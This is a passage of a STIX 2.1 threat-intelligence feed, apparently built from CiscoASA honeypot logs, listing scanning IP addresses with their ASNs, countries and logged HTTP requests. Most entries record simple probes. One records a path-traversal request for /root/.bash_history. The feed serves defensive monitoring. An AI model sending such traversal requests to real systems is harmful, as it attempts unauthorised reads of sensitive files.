      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:20:10.000Z",
      "valid_until": "2026-05-07T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 16,
          "first_seen": "2026-04-05T19:22:42.050Z",
          "last_seen": "2026-04-05T19:23:22.231Z",
          "country": "India",
          "country_code": "IN",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--51361ef0-79d1-4ac5-a8e4-5e14f5c041e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T20:20:10.000Z",
      "valid_until": "2026-05-07T20:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T19:25:51.741Z",
          "last_seen": "2026-04-05T19:25:51.741Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /../../../../../../../../../../root/.bash_history HTTP/1.1\" 404 - geo: FR; ASN 16276 (OVH SAS)",
      "id": "indicator--6fbad549-ed45-41f7-9943-9a0b5019aa46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '51.210.106.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T22:20:10.000Z",
      "valid_until": "2026-05-07T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T22:04:10.943Z",
          "last_seen": "2026-04-05T22:04:10.943Z",
          "country": "France",
          "country_code": "FR",
          "asn": 16276,
          "as_org": "OVH SAS",
          "event_types": [
            "\"GET /../../../../../../../../../../root/.bash_history HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-05T22:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 200730 (ISAEV Igor)",
      "id": "indicator--f3f641bb-1a26-4df5-a9d9-db69deba77e8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-05T22:20:10.000Z",
      "valid_until": "2026-05-07T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-05T21:28:18.077Z",
          "last_seen": "2026-04-05T21:28:18.077Z",
          "country": "United States",
          "country_code": "US",
          "asn": 200730,
          "as_org": "ISAEV Igor",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T00:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: DE; ASN 12586 (GHOSTnet GmbH)",
      "id": "indicator--2c65cca9-2424-45fd-99f2-4fc0deb90908",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.230.75.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T00:20:10.000Z",
      "valid_until": "2026-05-08T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T00:02:58.355Z",
          "last_seen": "2026-04-06T00:03:01.357Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 12586,
          "as_org": "GHOSTnet GmbH",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--1605e60d-63e1-4f8b-96d9-0b01cc414e46",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '35.171.19.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:20:11.000Z",
      "valid_until": "2026-05-08T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T00:58:21.399Z",
          "last_seen": "2026-04-19T00:56:43.089Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T01:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--94cff398-ecb2-4b01-9021-204bff7ff7c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.152.118.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T01:20:11.000Z",
      "valid_until": "2026-05-08T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-06T00:55:14.000Z",
          "last_seen": "2026-04-10T00:57:31.942Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--69103f7f-8bb8-4320-8f31-23d8d237ff1e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T02:20:10.000Z",
      "valid_until": "2026-05-08T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T01:51:33.924Z",
          "last_seen": "2026-04-06T01:51:34.581Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e6133a72-2a57-4580-9d57-f5372fb64d2a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:20:10.000Z",
      "valid_until": "2026-05-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-06T02:51:55.970Z",
          "last_seen": "2026-04-06T02:51:55.970Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ca26f104-6426-4452-94c2-e9834a30678e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:20:10.000Z",
      "valid_until": "2026-05-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-06T02:51:59.648Z",
          "last_seen": "2026-04-06T02:51:59.648Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c2942521-a967-4829-b003-73331af4a5a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:20:10.000Z",
      "valid_until": "2026-05-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-06T02:51:49.752Z",
          "last_seen": "2026-04-06T02:52:06.144Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--22fa3e65-f089-4e05-9688-63986183ffd5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:20:10.000Z",
      "valid_until": "2026-05-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-06T02:50:43.387Z",
          "last_seen": "2026-04-06T02:50:43.387Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:20:10.000Z",
      "valid_until": "2026-05-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 14,
          "first_seen": "2026-04-06T02:48:07.400Z",
          "last_seen": "2026-04-06T02:53:39.534Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--5e498064-19fc-4cf4-8214-fdba7d08e2f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:20:10.000Z",
      "valid_until": "2026-05-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T02:51:54.581Z",
          "last_seen": "2026-04-06T02:52:05.421Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--c0951c3b-4fca-4b5d-812f-be4d1e8aadb4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T03:20:10.000Z",
      "valid_until": "2026-05-08T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T02:50:08.613Z",
          "last_seen": "2026-04-06T02:51:48.220Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T04:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--63563ca8-48da-4d26-ac31-42185e8d58bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T04:20:11.000Z",
      "valid_until": "2026-05-08T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-06T03:45:46.507Z",
          "last_seen": "2026-04-24T21:47:15.370Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "code 505",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T05:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--badfcc20-f8f6-47e6-b510-ea78dd46c651",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T05:20:14.000Z",
      "valid_until": "2026-05-08T05:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-06T04:59:41.856Z",
          "last_seen": "2026-04-06T05:00:32.955Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 32475 (Internap Holding LLC)",
      "id": "indicator--db1329b7-2e14-4a8e-a68a-c60ba5107d00",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T06:20:11.000Z",
      "valid_until": "2026-05-08T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-06T06:03:19.391Z",
          "last_seen": "2026-04-06T06:04:22.176Z",
          "country": "United States",
          "country_code": "US",
          "asn": 32475,
          "as_org": "Internap Holding LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--ca3e1c3b-5d1a-46fc-b089-cc85867292e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '162.243.201.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:20:10.000Z",
      "valid_until": "2026-05-08T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-06T10:29:41.583Z",
          "last_seen": "2026-04-06T10:29:41.583Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--48f0a3fd-4f54-41f9-9124-dacc6d646f3f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.202.50.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T11:20:10.000Z",
      "valid_until": "2026-05-08T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-06T10:54:50.429Z",
          "last_seen": "2026-04-06T10:54:53.433Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T15:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e2ae906b-ab0b-4434-afba-1faf0a821432",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.80.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T15:20:11.000Z",
      "valid_until": "2026-05-08T15:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-06T14:56:14.961Z",
          "last_seen": "2026-04-06T14:56:20.842Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-06T16:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--430d43af-83da-4437-a771-19c9da329f0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.81.217.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-06T16:20:11.000Z",
      "valid_until": "2026-05-08T16:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-06T16:08:00.417Z",
          "last_seen": "2026-04-06T16:08:00.417Z",
